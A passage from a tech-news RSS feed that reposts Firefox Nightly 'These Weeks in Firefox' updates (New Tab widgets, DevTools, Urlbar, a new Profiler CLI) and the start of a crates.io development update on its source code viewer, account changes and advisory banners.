<li>Sylvestre <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023411">ported some linters</a> (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words &amp; more) to Rust to help improve the runtime of the code review bot.</li>
<li>Dale has been working on migration to moz-src for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034040">customkeys</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035086">dom/quota</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035295">odom/geolocation</a>
<ul>
<li><a href="https://arewemozsrcyet.com/">https://arewemozsrcyet.com/</a></li>
</ul>
</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
<ul>
<li>We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.</li>
</ul>
</li>
<li>Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.</li>
<li>Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!</li>
</ul>
<p><img alt="World clock widget in New Tab featuring different time zones for YTO, BER, SYD, and LAX." class="aligncenter wp-image-2079 size-full" height="162" src="https://blog.nightly.mozilla.org/files/2026/06/image3-1.png" width="346"></p>
<h4>Search and Urlbar</h4>
<ul>
<li>Nova (URL Bar Design Refresh)
<ul>
<li>Drew and Daisuke continued their work on <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015612">Nova styling for the Address bar</a> (input and view).</li>
</ul>
</li>
<li>Search and Suggest
<ul>
<li>Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035322">update the localization string for scheduled games</a> and another to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034350">show both teams’ icons in suggestions</a>. Drew also landed and uplifted a fix for <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035353">rich search suggestion icons being forced into a square aspect ratio</a>.</li>
<li>Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.</li>
</ul>
</li>
<li>Settings Redesign (SRD)
<ul>
<li>Stephanie landed a test to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2021512">ensure search suggestion settings are hidden when quicksuggest is disabled</a>, as well as a patch to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031341">resolve TypeScript issues</a> in search.mjs, and is adding test coverage to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2007397">confirm removed search engines are not displayed in the default engines dropdown</a>.</li>
</ul>
</li>
<li>General URL Bar and Component Updates
<ul>
<li>Daisuke landed implementation of the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1893083">context menu on URL bar results</a>, and a fix to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2020177">show the loading URL in the URL bar when starting up with a homepage</a>.
<ul>
<li>Marco is working on several tasks, including a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1756564">PDF download / focus stealing issue</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1924124">allowing arrays to be bound in Sqlite.sys.mjs</a>. Marco also worked on fixes related to Places, such as <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034743">avoiding replacing the favicons database if it is not corrupt</a>.</li>
</ul>
</li>
<li>Standard8 finalized the <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028423">URL bar test manifest split</a>. Standard8 also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016401">upgraded us to TypeScript 6</a>.</li>
<li>Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032973">Bug 2032973</a>), which was also uplifted. Moritz also <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034507">simplified search mode switcher item activation in tests</a>, and made it so that <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036030">the unified search button popup closes when installing an open search engine</a>.</li>
</ul>
</li>
</ul>
<h4>Smart Window</h4>
<ul>
<li>natural language starting with tab close/undo <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035343">2035343</a> with expandable action log <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031508">2031508</a></li>
</ul>
<p><img alt="Tab close and undo actions in Smart Window accompanied by an expandable log of actions taken" class="aligncenter wp-image-2077 size-full" height="256" src="https://blog.nightly.mozilla.org/files/2026/06/image1-1.png" width="220"></p>
<ul>
<li>assistant rendering feedback up/down <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2032994">2032994</a> and markdown table <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027029">2027029</a></li>
<li>nova styling blur <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027877">2027877</a> and suggestions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2026823">2026823</a></li>
<li>accessibility screen reader <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028676">2028676</a> and keyboard focus <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037565">2037565</a></li>
<li>optimize conversation starters extra requests <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030005">2030005</a> and caching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033430">2033430</a></li>
</ul>
<h4>Storybook/Reusable Components/Acorn Design System</h4>
<ul>
<li>Nova token updates occasionally, focused on SRD</li>
</ul>
<h4>UX Fundamentals</h4>
<ul>
<li>Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035942">2035942</a></li>
</ul>
<h4>Settings Redesign</h4>
<ul>
<li>Settings redesign is being tested and will hopefully go out in Firefox 152!</li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204]]></title>
<description><![CDATA[Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on let...]]></description>
<link>https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693293/tools/firefox-nightly-giving-you-more-control-these-weeks-in-firefox-issue-204/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:31 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Maxx Crawford <a href="https://bugzil.la/2041708">added a pref to hide the New Tab logo </a>so users can opt out of branding without altering page layout or resorting to CSS overrides.</li>
<li>Harshit <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041819">enabled video overlay detection</a> in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
<ul>
<li><a href="https://www.instagram.com/p/DXH8Rd6EcWo/">You can try it out on this Instagram reel</a> in Nightly</li>
</ul>
</li>
</ul>
<p><img alt="Firefox context menu video controls like Pause, Unmute, Speed and Loop." class="aligncenter size-full wp-image-2081" height="431" src="https://blog.nightly.mozilla.org/files/2026/06/image2-2.png" width="480"></p>
<ul>
<li>A note to WebExtension authors – as part of a <a href="https://blog.mozilla.org/addons/2026/04/23/webextensions-api-changes-firefox-149-152/">planned deprecation announced last month</a>, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015559"> Bug 2015559</a></li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> added support and debugging for modern attr()(which is <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038939">enabled on Nightly</a>) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2014751">#2014751</a>)</li>
</ul>
<p><img alt="Tooltip in Firefox DevTools for mismatched syntax with attr()" class="aligncenter size-full wp-image-2082" height="164" src="https://blog.nightly.mozilla.org/files/2026/06/image1-2.png" width="872"></p>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1717176%2C2031328%2C2038948%2C2011485%2C1455294%2C2035084%2C2039455%2C2036767%2C2039878%2C2013176%2C2022414%2C2036237%2C2036578%2C2041612%2C1262773&amp;list_id=17986996">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>Sam Johnson</li>
<li>Sebastian Zartner [:sebo]</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Immaculate Atim: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2022414">Switch to using an array instead of an object string for browser.backup.enabled_on.profiles</a></li>
<li>liz: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011485">Screenshots overlay visible on both splitview browsers</a></li>
<li>🌟 Rahman Mahmutović [:r_m]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">Can’t change content in box model in inspector for box-sizing:border-box elements</a></li>
<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: crates.io: development update]]></title>
<description><![CDATA[Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published ...]]></description>
<link>https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:18 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Another six months have passed since our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">last development update</a>, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to <a href="https://crates.io/" rel="external">crates.io</a> since then.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#source-code-viewer"></a>
Source Code Viewer</h3>
<p>Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that <code>cargo</code> downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized <code>Cargo.toml</code> files that <code>cargo</code> generates.</p>
<p><img alt='Source code viewer showing the "Code" tab of the serde crate' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/code-tab.png"></p>
<p>The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable <code>#L10-L20</code> URLs.</p>
<p>Under the hood, the server now builds a zip file for every published version. Since the <code>.crate</code> files that <code>cargo</code> consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.</p>
<p>The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#untangling-crates-io-accounts-from-github"></a>
Untangling crates.io Accounts from GitHub</h3>
<p>At the end of May, the crates.io team accepted <a href="https://github.com/rust-lang/rfcs/pull/3946" rel="external">RFC #3946</a>. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.</p>
<p>The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#advisories-and-suggestions"></a>
Advisories and Suggestions</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a> we introduced the "Security" tab, which shows security advisories from the <a href="https://rustsec.org/" rel="external">RustSec</a> database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to <a href="https://github.com/djc" rel="external">Dirkjan Ochtman</a> for implementing this feature!</p>
<p><img alt="Unmaintained warning banner on the ansi_term crate page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/unmaintained-banner.png"></p>
<p>Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like <code>lazy_static</code>, which has been superseded by <code>std::sync::LazyLock</code> since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.</p>
<p><img alt='"You might not need this dependency" banner on the lazy_static crate page' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/std-replacement-banner.png"></p>
<p>The dataset behind this feature lives in the new <a href="https://github.com/rust-lang/std-replacement-data" rel="external">rust-lang/std-replacement-data</a> repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable <code>std</code>, <code>core</code>, or <code>alloc</code> API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#ferris"></a>
Ferris</h3>
<p>The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:</p>
<p><img alt="Ferris' eyes following the mouse cursor on the error page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/ferris.gif"></p>
<p>Getting a 404 error on crates.io is now slightly less sad.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#svelte-frontend-migration-completed"></a>
Svelte Frontend Migration Completed</h3>
